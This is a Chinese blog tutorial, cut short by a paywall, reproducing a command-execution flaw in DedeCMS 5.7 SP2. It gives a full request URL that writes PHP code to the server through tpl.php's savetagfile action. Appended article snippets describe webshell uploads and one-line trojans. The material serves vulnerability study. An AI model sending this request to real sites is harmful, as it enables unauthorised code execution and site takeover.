手把手教你dedecms命令执行漏洞复现,纯小白也能玩懂的漏洞复现

最新推荐文章于 2024-08-27 08:07:05 发布
最新推荐文章于 2024-08-27 08:07:05 发布
阅读量1k 收藏 4
点赞数 1
分类专栏： 漏洞复现 文章标签： 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_44906335/article/details/119412726
版权
本文详细介绍了dedecms 5.7 SP2的命令执行漏洞复现过程，从下载安装到利用漏洞执行phpinfo()，帮助读者理解漏洞原理及复现步骤。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

dedecms 5.7 sp2 存在命令执行漏洞
下载链接:http://www.dedecms.com/products/dedecms/ 选择UTF8就行
由于作者在进行漏洞复现时踩了很多坑,现将详细步骤附上,希望对大家有所帮助

  1. 首先需要有一个后台账号，登入网站后台
    在这里插入图片描述

  2. 在后缀下输入/tpl.php?action=upload
    在这里插入图片描述

  3. 查看网页源代码，找到token
    在这里插入图片描述
    在这里插入图片描述

  4. 记录下token: 065304c806f8f8dacb2aec2c41ace0d7

  5. 访问
    http://192.168.0.11/dedecms/uploads/dede1/tpl.php?filename=secquan.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token&

最低0.47元/天 解锁文章
手把手教你搭建YOLOV8+CUDA环境，训练自定义数据集，训练推理验证导出。小白也能看得懂的！
专注于图像领域，主要研究内容包括计算机视觉和深度学习，特别是在图像分类、目标检测和图像生成等方面有深入的研究和实践经验。
05-18 1万+
YOLO（You Only Look Once）系列算法因其高效、准确等特点而备受瞩目。由2023年Ultralytics公司发布了YOLO的最新版本YOLOv8是结合前几代YOLO的基础上的一个融合改进版。本文主要介绍YOLOv8环境搭建/数据集获取/训练/推理/验证/导出/部署
DeepSeek+WPS/Office手把手教你玩转智能办公
最新发布
herosunly的博客
02-13 5万+
本文就带你玩转DeepSeek与办公软件的完美结合，让枯燥的文档工作变得轻松又有趣。 文章目录 1. 前言 2. 实战教程 2.1 下载OfficeAI助手 2.2 配置 2.3 接入DeepSeek 2.3.1 使用API KEY 2.3.2 私有化模型 2.3.2.1 接入私有化部署的DeepSeek 2.3.2.2 安装OfficeAI Server(本地服务器) 3. 开启智能办公
DedeCms 织梦系统 漏洞 上传webshell复现 四种方法 超详细
qq_48368964的博客
08-03 848
DedeCMS是织梦团队开发PHP 网站管理系统，它以简单、易用、高效为特色，组建出各种各样各具特色的网站，如地方门户、行业门户、政府及企事业站点等。
DedeCMS 未授权远程命令执行漏洞分析
Keepb1ue的博客
04-12 1449
DedeCMS是国内专业的PHP网站内容管理系统-织梦内容管理系统，采用XML名字空间风格核心模板：模板全部使用文件形式保存，对用户设计模板、网站升级转移均提供很大的便利，健壮的模板标签为站长DIY自己的网站提供了强有力的支持。高效率标签缓存机制：允许对同类的标签进行缓存，在生成 HTML的时候，有利于提高系统反应速度，降低系统消耗的资源。模型与模块概念并存：在模型不能满足用户所有需求的情况下，DedeCMS推出一些互动的模块对系统进行补充，尽量满足用户的需求。
DeDe-cms 漏洞
weixin_69065643的博客
08-03 329
找到index.html修改。我们写一个一句话木马，点击访问后使用工具连接。
Dedecms5.7漏洞利用
qq_48732306的博客
11-07 1371
Dedecms5.7渗透测试 Dedecms5.7由于编程的问题，有一个可以直接篡改用户密码的漏洞，一下是复现过程： 一：启动环境： 首先要进行dedecms的安装，其下载地址为：] DeDeCMS 官网 http://www.dedecms.com/ [2]。 不过要安装dedecms还要搭建好服务器，而我选择的是使用warmpserve来搭建的，这个软件包含了apache2,php与mysql数据库，安装了就可以一键运行服务器。 Dedecms的安装包含了两个文件，把uploads那个文件放在warms
CVE-2023-2928 DedeCMS 文件包含漏洞getshell 漏洞分析
shelter1234567的博客
04-07 2147
这样的话一般的利用方式就不行了，好在cms没用禁用掉文件包含的逻辑，我们可以利用/admin/allowurl.txt 这个文件，实现文件包含任意代码执行。可以将用户输入的字符保存到/admin/allowurl.txt ,因为有stripslashes函数的过滤xss无效。file_manage_control.php 页面为用户提供了网站文件管理的功能，访问file_manage_control.php 利用文件包含构造1.php。尝试在php中或txt中添加php执行代码结果被检测了。
dedecms 最新漏洞 利用mytag_js上传文件
zdkjob专栏
08-25 7478
制作文件  然后在自己远程支持外链的mysql库中的表前缀_mytag 中插入insert into dede_mytag(aid,normbody) values(2,'{dede:php}$fp = @fopen(DEDEROOT."da
X2Paddle：手把手教你迁移代码——论文复现方法论
zbp_12138的博客
08-12 1972
X2Paddle：手把手教你迁移代码——论文复现方法论一、通读论文二、原始代码解析三、代码转换1.模型前向对齐网络结构代码转换权重转换验证模型正确性2.数据IO转写3.优化器与学习率四、训练对齐五、排查问题六、基于X2Paddle快速实现代码转换第一步：转换前代码预处理第二步：转换第三步：转换后代码后处理七、总结与升华作者简介 使用飞桨复现论文的基本方法以及基本步骤。本文是飞桨论文复现打卡营第3期课程第二天《飞桨论文复现方法论》的笔记，以AlexNet为例进行复现。 一、通读论文 要想复现论文，首先需要看懂
toadb执行器实现原理及架构 手把手教你写代码执行SQL
一个追逐梦想的码农
06-18 1万+
经过前面的准备，可以解析出create/drop table, select/insert等SQL语句了，那么如何把这几条语句按数据库流程执行完成呢。这就涉及到SQL的执行器，执行器是一个比较复杂的模块，从架构上看，它桥接了SQL解析和存储层，同时涉及到了数据字典更新维护，数据扫描，数据从存储到内存的转换等很多模块。下面我们就来详细看一看，一个SQL执行器是如何工作的。DDL数据定义语言，定义数据库的逻辑结构，包括定义数据库、基本表、视图、索引以及其它数据库对象；DML数据操纵语言。
dedecms漏洞简单复现
qq_53639387的博客
11-26 3052
一.利用phpstudy来搭建dedecms网站（下载phpstudy） 下载可以在官网下https://www.xp.cn/download.html 安装完成 设置如下 二.下载dedecms源码 http://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7-GBK-SP2-Full.tar.gz 将其解压然后将文件名为uploads里面的文件复制到 phpstudy_pro文件中的www中三.安装dedecms ...
DedeCms二次注入复现
sun1296825481的博客
01-07 2298
DedeCms二次注入复现 配置 DedeCms 5.6 php 5.2.17 phpstudy 8.1.1.2 Firefox Hackbar V2 御剑 菜刀 一、环境搭建 1、下载DedeCms5.6 链接地址：https://download.youkuaiyun.com/download/sun1296825481/14041738 2、解压至phpstudy的www目录下 3、安装环境 1）创建数据库 2）访问http://localhost/dedecms/uploads/install/ 3）按
“DedeCMS存在的安全漏洞及编程解决方案“
HackSquad的博客
10-03 697
本文介绍了DedeCMS中常见的安全漏洞，包括SQL注入漏洞、文件上传漏洞和跨站脚本漏洞，并提供了相应的编程解决方案。在开发和使用DedeCMS时时，务必注意安全性，并采取适当的措施来防止这些漏洞的利用。在本文中，我们将详细介绍DedeCMS常见的安全漏洞，并提供相应的编程解决方案。为了防止文件上传漏洞，应该对上传的文件进行严格的验证和过滤。可以检查文件的扩展名、文件类型、文件大小等，并将上传的文件存储在一个独立的目录中，避免直接执行上传文件。为了防止跨站脚本漏洞，应该对用户输入的内容进行适当的转义。
DeDeCMS-漏洞复现
weixin_57682301的博客
08-03 699
2.上传后访问你上传的一句话木马文件 我这里写的一句话木马为phpinfo，显示成功即可证明注入。4.点击生成--更新主页html，将htm后缀改成php并且生成静态，点击更新主页html。5.访问此页面，没有报错证明注入成功（由于没有回显，这里输入的POST传参）1.点击核心--文件式管理器 点击文件上传，将我们的一句话木马进行上传。2.进入后点击模板--默认模板管理，找到index.htm。3.点击右方的编辑进入后改成写入的一句话木马，然后点击保存。1.点击模板--广告管理--生成一个新广告。
Dedecms 中的预认证远程代码执行
xuu4561的博客
10-05 346
在这篇博文中，我将分享对 Dedecms（或翻译成英文的“Chasing a Dream”CMS）的技术评论，包括它的攻击面以及它与其他应用程序的不同之处。最后，我将结束一个影响v5.8.1 预发布的预认证远程代码执行漏洞。这是一款有趣的软件，因为它自最初发布以来已有 14 年的历史，而且 PHP 多年来发生了很大变化。 对于网上搜索“什么是中国最大的CMS”很快发现，多 源 的状态是DEDECMS是最流行的。然而，这些来源几乎都有一个共同点：它们都是旧的。 所以，我决定做一个粗略的搜索： 该产品部署非常
dedecms 漏洞_代码审计之二次漏洞审计
weixin_39950010的博客
11-29 497
什么是二次漏洞需要先构造好利用代码写入网站保存，在第二次或多次请求后调用攻击代码触发或者修改配置触发的漏洞叫做二次漏洞。二次漏洞有点像存储型XSS的味道，就算payload插进去了，能不能利用还得看页面输出有没有过滤。举一个简单的SQL注入例子攻击者A在网站评论的地方发表了带有注入语句的评论，这时候注入语句已经被完整地保存到数据库中但是评论引用功能存在一个SQL注入漏洞，于是攻击者在评论处引用刚提...
织梦漏洞利用
weixin_53210070的博客
12-14 1674
Dedecms网站建立 php打开网站，开始安装 漏洞利用原理 dedecms系统中使用了SQL语句防注入功能引了的安全警告。在自定义模模型中使用了union|sleep|benchmark|load_file|outfile之一都会引发这个警告，此外采集的内容，如果有‘union 这类语法也会出现在这个警告。解决办法就是把安全检查关掉，打开include下面的dedesql.class.php 和dedesqli.class.php,$this->...
渗透实战：dedeCMS任意用户密码重置到内网getshell
Innocence_0的博客
08-27 1374
DedeCMS是一款国产的开源CMS系统，具有使用简单、功能强大、可扩展性好等特点。然而，像其他CMS系统一样，DedeCMS也存在一些安全问题，其中任意密码重置漏洞是其中一个比较严重的漏洞。通过信息泄露，攻击者可以获取到网站的用户的用户名和一些敏感信息，然后通过利用任意密码重置漏洞，在不知道原密码的情况下，重置管理员账号的密码，从而获取管理员权限。接着，攻击者可以通过后台getshell，获取网站的控制权，进而进行各种恶意操作，如上传恶意文件、篡改网站内容、窃取用户信息等。
织梦dedecms上传漏洞uploadsafe.inc.php修复方法
zxy840552216的博客
07-12 234
dedecms上传漏洞uploadsafe.inc.php，这里直接给出修复漏洞的方法，希望大家可以多学习。 今天分享的漏洞是一个关于织梦dedecms上传漏洞修复方法，主要是文件/include/uploadsafe.inc.php。 有2个地方： 1、搜索 ${$_key.’_size’} = @filesize($$_key); }(大概在42,43行左右) 替换成 01 $ { 02 $_key.'_size' 03 }
手把手教你alexnet复现
10-08
手把手教你复现AlexNet的具体步骤如下： 1. 导入所需的库和模块，包括PaddlePaddle库和相关数据处理库。 2. 准备数据集，包括下载和解压数据集，对数据进行预处理，划分训练集和验证集。 3. 定义AlexNet网络结构，包括卷积层、池化层、全连接层等。 4. 配置训练参数，包括学习率、批次大小、迭代次数等。 5. 定义损失函数和优化器，使用交叉熵损失函数和随机梯度下降优化器。 6. 进行模型训练，包括前向传播、反向传播和参数更新。 7. 在验证集上进行模型评估，计算准确率等指标。 8. 保存和加载模型，方便后续的模型使用和迁移学习。
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值